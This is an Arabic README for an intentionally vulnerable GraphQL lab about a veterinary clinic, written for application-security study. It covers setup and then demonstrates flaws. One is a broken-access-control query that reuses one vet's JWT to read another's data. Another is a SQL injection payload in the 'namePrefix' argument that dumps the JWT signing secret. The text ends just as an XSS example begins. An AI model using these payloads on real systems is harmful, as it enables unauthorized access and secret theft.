
بحث حول GraphQL من وجهة نظر AppSec.
تم إنشاء مختبرات لدراسة المشكلات المختلفة، وتأخذ هذه المختبرات سياق عيادة بيطرية تدير رعاية الكلاب.
تم تطوير المختبرات باستخدام IntelliJ IDEA Community Edition.
المجالات المستخدمة هي التالية:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
هناك شروط وافتراضات المختبر:
* يمكن أن يرتبط طبيب بيطري بـ 0 أو N من الكلاب.
* يمكن أن يرتبط كلب بـ 0 أو 1 طبيب بيطري.
* يمتلك الطبيب البيطري خاصية تُسمى **Popularity** موجودة في نظام التخزين (قاعدة البيانات) ولكن يجب ألا يتم الوصول إليها من قبل عميل GraphQL لأنها معلومات حساسة.
* وجهة نظر استهلاك بيانات GraphQL هي الطبيب البيطري. معلومات الكلب عامة.
* المختبر هو تطبيق ضعيف صراحة حيث تم تنفيذ عدة ثغرات ويتم تحديدها باستخدام علامة `[VULN]` في التعليقات.
* فيما يتعلق بالمصادقة، تم تنفيذ خدمة خارجية مزيفة (عبر servlet) وتُعيد رمز JWT يحتوي على اسم الطبيب البيطري في الرمز.
بمجرد التشغيل عبر إعدادات التشغيل الموجودة في المشروع أو أمر سطر الأوامر `mvn spring-boot:run`، يصبح المختبر متاحًا على هذه النقاط النهائية:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
لتغليف التطبيق كملف jar محمول، استخدم الأمر `mvn package` (ملف jar مُنشأ مسبقًا متاح [هنا](https://github.com/righettod/poc-graphql/releases)):
* سيتم إنشاء ملف jar في المجلد *target* وسيُسمى *graphql-poc.jar*.
* استخدم الأمر `java -jar graphql-poc.jar` لتشغيل التطبيق.
## النشر على Docker
> يتم نشر الصورة يوميًا على [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
لنشر التطبيق في حاوية docker، اتبع الخطوات التالية:
1. تأكد من تثبيت `docker`.
2. `git clone` للمستودع.
3. انتقل إلى المجلد المستنسخ.
4. قم ببناء صورة docker باستخدام `docker build -t poc-graphql .`
5. الآن تم إنشاء صورة باسم **poc-graphql:latest** على جهازك.
6. قم بتشغيل الحاوية باستخدام `docker run -p 8080:8080 poc-graphql:latest`
7. قم بالوصول إلى المختبر باستخدام النقاط النهائية التالية:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## نقاط الضعف الأمنية
### التفويض (Authorization)
*التحكم في الوصول المكسور*
[CWE-285](https://cwe.mitre.org/data/definitions/285/)
#### المشكلة
نظرًا لأن GraphQL يعتمد على نقطة نهاية واحدة يتم إرسال جميع الطلبات إليها، وبما أن التفويض خارج نطاق المواصفات (لا توجد ميزات مدمجة)،
فإن الأمر متروك للتطبيق لتنفيذ منطق التفويض.
في مختبراتي، لدي ثغرة في هذه النقطة لأن التحقق من رمز الوصول لا يتحقق من أن الرمز ينتمي إلى الطبيب البيطري المُمرر في **veterinaryId**
**مثال:**
أطلب رمز وصول للدكتور **جوليان** الذي لديه المعرف **3** في التخزين عن طريق إرسال طلب GraphQL هذا:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
أتلقى رمز الوصول في استجابة GraphQL التالية:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
أرسل طلب GraphQL إلى الاستعلام `myInfo(...)` باستخدام رمز الوصول الذي تم الحصول عليه ولكنني أحدد المعرف **2** الذي هو معرف **الدكتور بينوا**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
أستلم في استجابة GraphQL قائمة Dogs المرتبطة بـ الدكتور بينوا:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### التوصية
مع GraphQL، انتقلنا من مصفوفة تفويض باستخدام `Role x Feature` إلى أمان على مستوى البيانات باستخدام `Role x Data` لأنها أيضًا نقطة نهاية واحدة. يجب تمرير هوية المستخدم وأدواره إلى الطبقة العليا المسؤولة عن جلب البيانات (أو العمل عليها) من أجل تطبيق التحقق باستخدام هوية المستخدم قبل جلب البيانات.
### الحقن
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### المشكلة
بناءً على كيفية استخدام المعلومات من استعلام/تحوير/اشتراك طلب GraphQL بواسطة خادم GraphQL للعمل على مخازن البيانات، هناك احتمالية للحقن.
في مختبراتي، لدي ثغرة في هذه النقطة بخصوص SQLi في الاستعلام `dogs(namePrefix: String, limit: Int = 500): [Dog!]` لأن المعامل **namePrefix** يُستخدم في سلسلة نصية لبناء استعلام SQL.
**مثال:**
أرسل طلب GraphQL هذا لعرض محتوى جدول `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
أستلم في استجابة GraphQL السر المستخدم لتوقيع رمز JWT بالإضافة إلى اسم الكلب الذي يبدأ اسمه بـ ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
حول XSS، من المثير للاهتمام ملاحظة أن استجابة GraphQL تعكس المعامل المرسل في حالة فشل التحقق من الصحة في الطلب المرسل.
**مثال:**